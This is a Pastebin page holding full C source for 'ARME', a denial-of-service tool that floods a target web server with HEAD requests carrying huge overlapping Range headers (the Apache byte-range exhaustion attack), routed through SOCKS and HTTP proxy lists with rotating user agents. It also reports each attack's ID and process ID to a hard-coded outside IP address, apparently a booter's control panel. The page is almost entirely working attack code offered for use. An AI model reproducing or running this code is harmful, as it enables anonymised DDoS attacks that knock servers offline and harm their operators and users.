Advertisement
KhaosBringer

ARME Attack Script Source

Apr 13th, 2015
904
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 22.56 KB | None | 0 0
  1. #include <pthread.h>
  2. #include <sys/resource.h>
  3. #include <unistd.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <signal.h>
  8. #include <sys/socket.h>
  9. #include <netinet/ip.h>
  10. #include <netinet/tcp.h>
  11. #include <netdb.h>
  12. #include <netinet/in.h>
  13. #include <arpa/inet.h>
  14. #include <ctype.h>
  15.  
  16. #define RND_CHAR (char)((rand() % 26)+97)
  17.  
  18. char *useragents[] = {
  19.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  20.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  21.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  22.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  23.     "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  24.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  25.     "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  26.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  27.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  28.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  29.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  30.     "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  31.     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  32.     "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  33.     "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  34.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  35.     "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  36.     "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  37.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  38.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  39.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  40.     "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  41.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  42.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  43.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  44.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.57 Safari/536.11",
  45.     "Mozilla/5.0 (Windows NT 5.1; rv:5.0.1) Gecko/20100101 Firefox/5.0.1",
  46.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)",
  47.     "Mozilla/5.0 (Windows NT 6.1; rv:5.0) Gecko/20100101 Firefox/5.02",
  48.     "Opera/9.80 (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60",
  49.     "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  50.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  51.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322)",
  52.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 3.5.30729)",
  53.     "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  54.     "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  55.     "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1",
  56.     "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  57.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  58.     "Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  59.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  60.     "Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20100101 Firefox/12.0",
  61.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 5.8 (build 4157); .NET CLR 2.0.50727; AskTbPTV/5.11.3.15590)",
  62.     "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  63.     "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)",
  64.     "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.5 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.4",
  65.     "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  66.     "Mozilla/5.0 (Windows NT 6.0; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  67. };
  68. #define ATTACKPORT 80
  69. //char *postformat = "%s /%s HTTP/1.1\r\nHost: %s\r\nUser-Agent: #useragent#\r\nConnection: close\r\nAccept-Encoding: gzip, deflate\r\n%s\r\n%s";
  70. char *postformat = "HEAD / HTTP/1.0\r\nHost: %s\r\nUser-Agent: %s\r\nRange:bytes=%s\r\nAccept-Encoding: gzip, deflate, compress\r\nConnection: close\r\n\r\n";
  71. char *postpayload;
  72. struct urlparts {
  73.     char * name;
  74.     char separator[4];
  75.     char value[128];
  76. } parts[] = {
  77.     { "scheme", ":" },
  78.     { "userid", "@" },
  79.     { "password", ":" },
  80.     { "host", "//" },
  81.     { "port", ":" },
  82.     { "path", "/" },
  83.     { "param", ";" },
  84.     /*{ "query", "?" },*/
  85.     { "fragment", "#" }
  86. };
  87. enum partnames { scheme = 0, userid, password, host, port, path, param, query, fragment } ;
  88. #define NUMPARTS (sizeof parts / sizeof (struct urlparts))
  89. struct urlparts *returnparts[8];
  90. struct urllist { char *url; int done; struct urllist *next; struct urllist *prev; };
  91. struct proxy { char *type; char *ip; int port; int working; };
  92. struct list { struct proxy *data; char *useragent; struct list *next; struct list *prev; };
  93. struct list *head = NULL;
  94. char parseError[128];
  95. int parseURL(char *url, struct urlparts **returnpart);
  96. char * strsplit(char * s, char * tok);
  97. char firstpunc(char *s);
  98. int strleft(char * s, int n);
  99. void setupparts();
  100. void freeparts();
  101. char *stristr(const char *String, const char *Pattern);
  102. char *str_replace(char *orig, char *rep, char *with);
  103. char *geturl(char *url, char *useragent, char *ip);
  104. char *ipstr;
  105. unsigned int fnGetIP(char *szHost);
  106. static int rps = 0;
  107.  
  108. char *fznGenerateRange()
  109. {
  110.     char szBytes[12000] = "0-";
  111.     char szAdd[12];
  112.     for (int i = 0; i <= 1299; i++)
  113.     {
  114.         sprintf(szAdd, ",5-%d", i);
  115.         strcat(szBytes, szAdd);
  116.         bzero(szAdd, 12);
  117.     }
  118.  
  119.     return szBytes;
  120. }
  121.  
  122. void *flood(void *par) {
  123.     struct list *startpoint = (struct list *)par;
  124.     int i;
  125.     struct sockaddr_in serverAddr;
  126.     signal(SIGPIPE, SIG_IGN);
  127.     while(1)
  128.     {
  129.         int sent = 0;
  130.         if(startpoint->data->working == 0)
  131.         {
  132.             startpoint = startpoint->next;
  133.             usleep(10000);
  134.             continue;
  135.         }
  136.        
  137.         memset(&serverAddr, 0, sizeof(serverAddr));
  138.         serverAddr.sin_family = AF_INET;
  139.         serverAddr.sin_port = htons(startpoint->data->port);
  140.         serverAddr.sin_addr.s_addr = inet_addr(startpoint->data->ip);
  141.         int serverSocket = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  142.         u_int yes=1;
  143.         if (setsockopt(serverSocket,SOL_SOCKET,SO_REUSEADDR,&yes,sizeof(yes)) < 0) {}
  144.         if(connect(serverSocket, (struct sockaddr *)&serverAddr, sizeof(serverAddr)) > 0)
  145.         {
  146.             startpoint->data->working = 0;
  147.             startpoint = startpoint->next;
  148.             continue;
  149.         }
  150.         if(strcmp(startpoint->data->type, "Socks4")==0)
  151.         {
  152.             unsigned char buf[10];
  153.             buf[0] = 0x04;
  154.             buf[1] = 0x01;
  155.             *(unsigned short*)&buf[2] = htons(ATTACKPORT);
  156.             *(unsigned long*)&buf[4] = inet_addr(ipstr);
  157.             buf[8] = 0x00;
  158.             if(send(serverSocket, buf, 9, MSG_NOSIGNAL) != 9)
  159.             {
  160.                 startpoint->data->working = 0;
  161.                 startpoint = startpoint->next;
  162.                 close(serverSocket);
  163.                 continue;
  164.             }
  165.         }
  166.         if(strcmp(startpoint->data->type, "Socks5")==0)
  167.         {
  168.             unsigned char buf[20];
  169.             buf[0] = 0x05;
  170.             buf[1] = 0x01;
  171.             buf[2] = 0x00;
  172.             if((sent = send(serverSocket, buf, 3, MSG_NOSIGNAL)) < 0)
  173.             {
  174.                 startpoint->data->working = 0;
  175.                 startpoint = startpoint->next;
  176.                 close(serverSocket);
  177.                 continue;
  178.             }
  179.             buf[0] = 0x05;
  180.             buf[1] = 0x01;
  181.             buf[2] = 0x00;
  182.             buf[3] = 0x01;
  183.             *(unsigned long*)&buf[4] = inet_addr(ipstr);
  184.             *(unsigned short*)&buf[8] = htons(ATTACKPORT);
  185.             if((sent = send(serverSocket, buf, 10, MSG_NOSIGNAL)) < 0)
  186.             {
  187.                 startpoint->data->working = 0;
  188.                 startpoint = startpoint->next;
  189.                 close(serverSocket);
  190.                 continue;
  191.             }
  192.         }
  193.         if(strcmp(startpoint->data->type, "CONNECT") == 0 || strcmp(startpoint->data->type, "TUNNEL") == 0)
  194.         {
  195.             char *connectrequest = malloc(1024);
  196.             bzero(connectrequest, 1024);
  197.             sprintf(connectrequest, "CONNECT %s:25565 HTTP/1.0\r\n\r\n", ipstr);
  198.             if((sent = send(serverSocket, connectrequest, strlen(connectrequest), MSG_NOSIGNAL)) < 0)
  199.             {
  200.                 startpoint->data->working = 0;
  201.                 startpoint = startpoint->next;
  202.                 close(serverSocket);
  203.                 continue;
  204.             }
  205.             char *recvbuf = malloc(1024);
  206.             bzero(recvbuf, 1024);
  207.             int gotbytes = recv(serverSocket, recvbuf, 1024, 0);
  208.             if(gotbytes < 1)
  209.             {
  210.                 startpoint->data->working = 0;
  211.                 startpoint = startpoint->next;
  212.                 close(serverSocket);
  213.                 continue;
  214.             }
  215.             free(recvbuf);
  216.         }
  217.         //char *httppayload = str_replace(postpayload, "#useragent#", startpoint->useragent);
  218.         //if(httppayload == NULL)
  219.         //{
  220.         //  startpoint = startpoint->next;
  221.         //  close(serverSocket);
  222.         //  continue;
  223.         //}
  224.         //char *tmp = NULL;
  225.         //while((tmp = strstr(httppayload, "%RANDOM%"))!=NULL)
  226.         /*{
  227.             *(tmp) = RND_CHAR;
  228.             *(tmp+1) = RND_CHAR;
  229.             *(tmp+2) = RND_CHAR;
  230.             *(tmp+3) = RND_CHAR;
  231.             *(tmp+4) = RND_CHAR;
  232.             *(tmp+5) = RND_CHAR;
  233.             *(tmp+6) = RND_CHAR;
  234.             *(tmp+7) = RND_CHAR;
  235.         }
  236.         */
  237.  
  238.         send(serverSocket, postpayload, strlen(postpayload), MSG_NOSIGNAL);
  239.         //free(httppayload);
  240.         close(serverSocket);
  241.         rps++;
  242.         usleep(50000);
  243.         //startpoint = startpoint->next;
  244.     }
  245. }
  246.  
  247. int fnAttackInformation(int attackID)
  248. {
  249.     char szRecvBuff[1024];
  250.     char packet[1024];
  251.     char ip[] = "37.221.170.5";
  252.  
  253.     snprintf(packet, sizeof(packet) - 1, "GET /~dqyefldi/response.php?auth=tru&id=%d&pro=%d HTTP/1.1\r\nHost: %s\r\nConnection: close\r\nCache-Control: no-cache\r\nOrigin: http://google.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\nAccept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n\r\n", attackID, getpid(), ip);
  254.  
  255.     struct sockaddr_in *remote;
  256.     int sock;
  257.     int tmpres;
  258.    
  259.  
  260.     if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
  261.     {
  262.         perror("Can't create TCP socket");
  263.         exit(1);
  264.     }
  265.    
  266.     remote = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in *));
  267.     remote->sin_family = AF_INET;
  268.     tmpres = inet_pton(AF_INET, ip, (void *)(&(remote->sin_addr.s_addr)));
  269.    
  270.     if (tmpres < 0)  
  271.     {
  272.         perror("Can't set remote->sin_addr.s_addr");
  273.         exit(1);
  274.     }
  275.     else if (tmpres == 0)
  276.     {
  277.         fprintf(stderr, "%s is not a valid IP address\n", ip);
  278.         exit(1);
  279.     }
  280.    
  281.     remote->sin_port = htons(80);
  282.    
  283.     if (connect(sock, (struct sockaddr *)remote, sizeof(struct sockaddr)) < 0)
  284.     {
  285.         perror("Could not connect");
  286.         exit(1);
  287.     }
  288.        
  289.     tmpres = send(sock, packet, strlen(packet), 0);
  290.    
  291.     //printf("Sent %d bytes -> \n%s\n\n\n", tmpres, packet);   
  292.    
  293.     if (tmpres == -1){
  294.         perror("Can't send query");
  295.         exit(1);
  296.     }
  297.  
  298.     int i = 1;
  299.     int dwTotal = 0;
  300.  
  301.  
  302.     while (1)
  303.     {
  304.         i = recv(sock, szRecvBuff + dwTotal, sizeof(szRecvBuff) - dwTotal, 0);
  305.         //printf("Received %d bytes\n", i);
  306.         if (i <= 0)
  307.             break;
  308.            
  309.         dwTotal += i;
  310.     }
  311.  
  312.     szRecvBuff[dwTotal] = '\0';
  313.    
  314.  
  315.     //printf("Received -> \n%s\n\n", szRecvBuff);
  316.  
  317.    
  318.     close(sock);
  319.    
  320.     //printf("Sent %d bytes\n", tmpres);
  321.    
  322.     return 0;
  323. }
  324.  
  325.  
  326. int main(int argc, char *argv[ ]) {
  327.     if(argc < 6){
  328.         fprintf(stderr, "Invalid parameters!\n");
  329.         fprintf(stdout, "Usage: %s <target url> <method (GET or HEAD or POST)> <number threads to use> <proxy list> <time> [manual ip (0 to disable)] [post parameters (%RANDOM% will be replaced with random shit)]\n", argv[0]);
  330.         exit(-1);
  331.     }
  332.     //fprintf(stdout, "Setting up Sockets...\n");
  333.     int num_threads = atoi(argv[3]);
  334.     char *method = argv[2];
  335.     if(!(strcmp(method, "GET")==0 || strcmp(method, "HEAD")==0|| strcmp(method, "POST")==0))
  336.     {
  337.         fprintf(stderr, "Invalid parameters!\n");
  338.         fprintf(stdout, "Usage: %s <target url> <method (GET or HEAD or POST)> <number threads to use> <proxy list> <time> [manual ip (0 to disable)] [post parameters (%RANDOM% will be replaced with random shit)]\n", argv[0]);
  339.         exit(-1);
  340.     }
  341.     FILE *pFile = fopen(argv[4], "rb");
  342.     if(pFile==NULL)
  343.     {
  344.         perror("fopen"); exit(1);
  345.     }
  346.     fseek(pFile, 0, SEEK_END);
  347.     long lSize = ftell(pFile);
  348.     rewind(pFile);
  349.     char *buffer = (char *)malloc(lSize*sizeof(char));
  350.     fread(buffer, 1, lSize, pFile);
  351.     fclose (pFile);
  352.     int i=0;
  353.     char *pch = (char *)strtok(buffer, ":");
  354.     while(pch != NULL)
  355.     {
  356.         if(head == NULL)
  357.         {
  358.             head = (struct list *)malloc(sizeof(struct list));
  359.             bzero(head, sizeof(struct list));
  360.             head->data = (struct proxy *)malloc(sizeof(struct proxy));
  361.             bzero(head->data, sizeof(struct proxy));
  362.             head->data->working = 1;
  363.             head->data->ip = malloc(strlen(pch)+1); strcpy(head->data->ip, pch);
  364.             pch = (char *)strtok(NULL, ":");
  365.             if(pch == NULL) exit(-1);
  366.             head->data->port = atoi(pch);
  367.             pch = (char *)strtok(NULL, ":");
  368.             head->data->type = malloc(strlen(pch)+1); strcpy(head->data->type, pch);
  369.             pch = (char *)strtok(NULL, ":");
  370.             head->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  371.             head->next = head;
  372.             head->prev = head;
  373.         } else {
  374.             struct list *new_node = (struct list *)malloc(sizeof(struct list));
  375.             bzero(new_node, sizeof(struct list));
  376.             new_node->data = (struct proxy *)malloc(sizeof(struct proxy));
  377.             bzero(new_node->data, sizeof(struct proxy));
  378.             new_node->data->working = 1;
  379.             new_node->data->ip = malloc(strlen(pch)+1); strcpy(new_node->data->ip, pch);
  380.             pch = (char *)strtok(NULL, ":");
  381.             if(pch == NULL) break;
  382.             new_node->data->port = atoi(pch);
  383.             pch = (char *)strtok(NULL, ":");
  384.             new_node->data->type = malloc(strlen(pch)+1); strcpy(new_node->data->type, pch);
  385.             pch = (char *)strtok(NULL, ":");
  386.             new_node->useragent = useragents[rand() % (sizeof(useragents)/sizeof(char *))];
  387.             new_node->prev = head;
  388.             new_node->next = head->next;
  389.             head->next = new_node;
  390.         }
  391.     }
  392.     free(buffer);
  393.     const rlim_t kOpenFD = 1024 + (num_threads * 2);
  394.     struct rlimit rl;
  395.     int result;
  396.     rl.rlim_cur = kOpenFD;
  397.     rl.rlim_max = kOpenFD;
  398.     result = setrlimit(RLIMIT_NOFILE, &rl);
  399.     if (result != 0)
  400.     {
  401.         perror("setrlimit");
  402.         fprintf(stderr, "setrlimit returned result = %d\n", result);
  403.     }
  404.     bzero(&rl, sizeof(struct rlimit));
  405.     rl.rlim_cur = 256 * 1024;
  406.     rl.rlim_max = 4096 * 1024;
  407.     result = setrlimit(RLIMIT_STACK, &rl);
  408.     if (result != 0)
  409.     {
  410.         perror("setrlimit_stack");
  411.         fprintf(stderr, "setrlimit_stack returned result = %d\n", result);
  412.     }
  413.     setupparts();
  414.     parseURL(argv[1], returnparts);
  415.     if(argc > 6 && !(strcmp(argv[6], "0") == 0))
  416.     {
  417.         ipstr = malloc(strlen(argv[6])+1);
  418.         bzero(ipstr, strlen(argv[6])+1);
  419.         strcpy(ipstr, argv[6]);
  420.         //fprintf(stdout, "Using manual IP...\n");
  421.     } else {
  422.         struct hostent *he;
  423.         struct in_addr a;
  424.         he = gethostbyname(returnparts[host]->value);
  425.         if (he)
  426.         {
  427.             while (*he->h_addr_list)
  428.             {
  429.                 bcopy(*he->h_addr_list++, (char *) &a, sizeof(a));
  430.                 ipstr = malloc(INET_ADDRSTRLEN+1);
  431.                 inet_ntop (AF_INET, &a, ipstr, INET_ADDRSTRLEN);
  432.                 break;
  433.             }
  434.         }
  435.         else
  436.         { herror("gethostbyname"); }
  437.     }
  438.    
  439.    
  440.     char *postdata = malloc(1);
  441.     bzero(postdata, 1);
  442.     char *extrahead = malloc(1);
  443.     bzero(extrahead, 1);
  444.    
  445.     pthread_t thread[num_threads];
  446.     postpayload = malloc(12001);
  447.     sprintf(postpayload, postformat, returnparts[host]->value, useragents[rand() % 40], fznGenerateRange());
  448.     freeparts();
  449.    
  450.     //printf("Packet -> \n%s\n", postpayload);
  451.    
  452.     //return 0;
  453.    
  454.     //fprintf(stdout, "Starting Flood...\n");
  455.    
  456.     fnAttackInformation(atoi(argv[argc-1]));
  457.    
  458.     for(i = 0;i<num_threads;i++){
  459.         pthread_create(&thread[i], NULL, &flood, (void *)head);
  460.         pthread_detach(thread[i]);
  461.         head = head->next;
  462.     }
  463.    
  464.     int temp = atoi(argv[5]);
  465.    
  466.     for(i = 0;i<temp;i++)
  467.     {
  468.         //rps=0;
  469.         sleep(1);
  470.         //printf("R/s: %d\n", rps);
  471.     }
  472.     return 0;
  473. }
  474. void freeparts()
  475. {
  476.     return;
  477.     if(returnparts[0]!=NULL) { free(returnparts[0]); }
  478.     if(returnparts[1]!=NULL) { free(returnparts[1]); }
  479.     if(returnparts[2]!=NULL) { free(returnparts[2]); }
  480.     if(returnparts[3]!=NULL) { free(returnparts[3]); }
  481.     if(returnparts[4]!=NULL) { free(returnparts[4]); }
  482.     if(returnparts[5]!=NULL) { free(returnparts[5]); }
  483.     if(returnparts[6]!=NULL) { free(returnparts[6]); }
  484.     if(returnparts[7]!=NULL) { free(returnparts[7]); }
  485.     /*if(returnparts[8]!=NULL) { free(returnparts[8]); }*/
  486.     return;
  487. }
  488. void setupparts()
  489. {
  490.     returnparts[0] = malloc(sizeof(struct urlparts));
  491.     returnparts[1] = malloc(sizeof(struct urlparts));
  492.     returnparts[2] = malloc(sizeof(struct urlparts));
  493.     returnparts[3] = malloc(sizeof(struct urlparts));
  494.     returnparts[4] = malloc(sizeof(struct urlparts));
  495.     returnparts[5] = malloc(sizeof(struct urlparts));
  496.     returnparts[6] = malloc(sizeof(struct urlparts));
  497.     returnparts[7] = malloc(sizeof(struct urlparts));
  498.     /*returnparts[8] = malloc(sizeof(struct urlparts));*/
  499.     bzero(returnparts[0], sizeof(struct urlparts));
  500.     bzero(returnparts[1], sizeof(struct urlparts));
  501.     bzero(returnparts[2], sizeof(struct urlparts));
  502.     bzero(returnparts[3], sizeof(struct urlparts));
  503.     bzero(returnparts[4], sizeof(struct urlparts));
  504.     bzero(returnparts[5], sizeof(struct urlparts));
  505.     bzero(returnparts[6], sizeof(struct urlparts));
  506.     bzero(returnparts[7], sizeof(struct urlparts));
  507.     /*bzero(returnparts[8], sizeof(struct urlparts));*/
  508.     returnparts[0]->name = "scheme";
  509.     strcpy(returnparts[0]->separator, ":");
  510.     returnparts[1]->name = "userid";
  511.     strcpy(returnparts[1]->separator, "@");
  512.     returnparts[2]->name = "password";
  513.     strcpy(returnparts[2]->separator, ":");
  514.     returnparts[3]->name = "host";
  515.     strcpy(returnparts[3]->separator, "//");
  516.     returnparts[4]->name = "port";
  517.     strcpy(returnparts[4]->separator, ":");
  518.     returnparts[5]->name = "path";
  519.     strcpy(returnparts[5]->separator, "/");
  520.     returnparts[6]->name = "param";
  521.     strcpy(returnparts[6]->separator, ";");
  522.     /*returnparts[7]->name = "query";
  523.     strcpy(returnparts[7]->separator, "?");*/
  524.     returnparts[7]->name = "fragment";
  525.     strcpy(returnparts[7]->separator, "#");
  526.     return;
  527. }
  528. int parseURL(char *url, struct urlparts **returnpart) {
  529.     register i;
  530.     int seplen;
  531.     char * remainder;
  532.     //char * regall = ":/;?#";
  533.     char * regall = ":/;#";
  534.     //char * regpath = ":;?#";
  535.     char * regpath = ":;#";
  536.     char * regx;
  537.     if(!*url)
  538.     {
  539.         strcpy(parseError, "nothing to do!\n");
  540.         return 0;
  541.     }
  542.     if((remainder = malloc(strlen(url) + 1)) == NULL)
  543.     {
  544.         printf("cannot allocate memory\n");
  545.         exit(-1);
  546.     }
  547.     strcpy(remainder, url);
  548.     if(firstpunc(remainder) == ':')
  549.     {
  550.         strcpy(returnpart[scheme]->value, strsplit(remainder, returnpart[scheme]->separator));
  551.         strleft(remainder, 1);
  552.     }
  553.     if (!strcmp(returnpart[scheme]->value, "mailto"))
  554.     *(returnpart[host]->separator) = 0;
  555.     for(i = 0; i < NUMPARTS; i++)
  556.     {
  557.         if(!*remainder)
  558.         break;
  559.         if(i == scheme || i == userid || i == password)
  560.         continue;
  561.         if(i == host && strchr(remainder, '@'))
  562.         {
  563.             if(!strncmp(remainder, "//", 2))
  564.             strleft(remainder, 2);
  565.             strcpy(returnpart[userid]->value, strsplit(remainder, ":@"));
  566.             strleft(remainder, 1);
  567.             if(strchr(remainder, '@'))
  568.             {
  569.                 strcpy(returnpart[password]->value, strsplit(remainder, "@"));
  570.                 strleft(remainder, 1);
  571.             }
  572.             *(returnpart[host]->separator) = 0;
  573.         }
  574.         if(i == path && (! *(returnpart[scheme]->value)))
  575.         {
  576.             *(returnpart[path]->separator) = 0;
  577.             strcpy(returnpart[scheme]->value, "http");
  578.         }
  579.         regx = (i == path) ? regpath : regall ;
  580.         seplen = strlen(returnpart[i]->separator);
  581.         if(strncmp(remainder, returnpart[i]->separator, seplen))
  582.         continue;
  583.         else
  584.         strleft(remainder, seplen);
  585.         strcpy(returnpart[i]->value, strsplit(remainder, regx));
  586.     }
  587.     if(*remainder)
  588.     sprintf(parseError, "I don't understand '%s'", remainder);
  589.     free(remainder);
  590.     return 0;
  591. }
  592. char *str_replace(char *orig, char *rep, char *with) {
  593.     char *result;
  594.     char *ins;    
  595.     char *tmp;    
  596.     int len_rep;  
  597.     int len_with;
  598.     int len_front;
  599.     int count;    
  600.     if (!orig)
  601.     return NULL;
  602.     if (!rep || !(len_rep = strlen(rep)))
  603.     return NULL;
  604.     if (!(ins = strstr(orig, rep)))
  605.     return NULL;
  606.     if (!with)
  607.     with = "";
  608.     len_with = strlen(with);
  609.     for (count = 0; tmp = strstr(ins, rep); ++count) {
  610.         ins = tmp + len_rep;
  611.     }
  612.     tmp = result = malloc(strlen(orig) + (len_with - len_rep) * count + 1);
  613.     if (!result)
  614.     return NULL;
  615.     while (count--) {
  616.         ins = strstr(orig, rep);
  617.         len_front = ins - orig;
  618.         tmp = strncpy(tmp, orig, len_front) + len_front;
  619.         tmp = strcpy(tmp, with) + len_with;
  620.         orig += len_front + len_rep;
  621.     }
  622.     strcpy(tmp, orig);
  623.     return result;
  624. }
  625. char *stristr(const char *String, const char *Pattern)
  626. {
  627.     char *pptr, *sptr, *start;
  628.     uint slen, plen;
  629.     for (start = (char *)String,
  630.     pptr = (char *)Pattern,
  631.     slen = strlen(String),
  632.     plen = strlen(Pattern);
  633.     slen >= plen;
  634.     start++, slen--)
  635.     {
  636.        
  637.         while (toupper(*start) != toupper(*Pattern))
  638.         {
  639.             start++;
  640.             slen--;
  641.            
  642.             if (slen < plen)
  643.             return(NULL);
  644.         }
  645.         sptr = start;
  646.         pptr = (char *)Pattern;
  647.         while (toupper(*sptr) == toupper(*pptr))
  648.         {
  649.             sptr++;
  650.             pptr++;
  651.            
  652.             if ('\0' == *pptr)
  653.             return (start);
  654.         }
  655.     }
  656.     return(NULL);
  657. }
  658. char * strsplit(char * s, char * tok) {
  659. #define OUTLEN (255)
  660.     register i, j;
  661.     static char out[OUTLEN + 1];
  662.     for(i = 0; s[i] && i < OUTLEN; i++)
  663.     {
  664.         if(strchr(tok, s[i]))
  665.         break;
  666.         else
  667.         out[i] = s[i];
  668.     }
  669.     out[i] = 0;
  670.     if(i && s[i])
  671.     {
  672.         for(j = 0; s[i]; i++, j++) s[j] = s[i];
  673.         s[j] = 0;
  674.     }
  675.     else if (!s[i])
  676.     *s = 0;
  677.     return out;
  678. }
  679. char firstpunc(char * s) {
  680.     while(*s++)
  681.     if(!isalnum(*s)) return *s;
  682.     return 0;
  683. }
  684. int strleft(char * s, int n) {
  685.     int l;
  686.     l = strlen(s);
  687.     if(l < n)
  688.     return -1;
  689.     else if (l == n)
  690.     *s = 0;
  691.     memmove(s, s + n, l - n + 1);
  692.     return n;
  693. }
  694.  
  695. unsigned int fnGetIP(char *szHost) {
  696.     static struct in_addr addr;
  697.     struct hostent *hHost;
  698.     addr.s_addr = inet_addr(szHost);
  699.     if(addr.s_addr == -1)
  700.     {
  701.         hHost = gethostbyname(szHost);
  702.         if(hHost == NULL)
  703.         {
  704.             exit(0);
  705.         }
  706.         bcopy(hHost->h_addr, (char *)&addr.s_addr, hHost->h_length);
  707.     }
  708.     return addr.s_addr;
  709. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement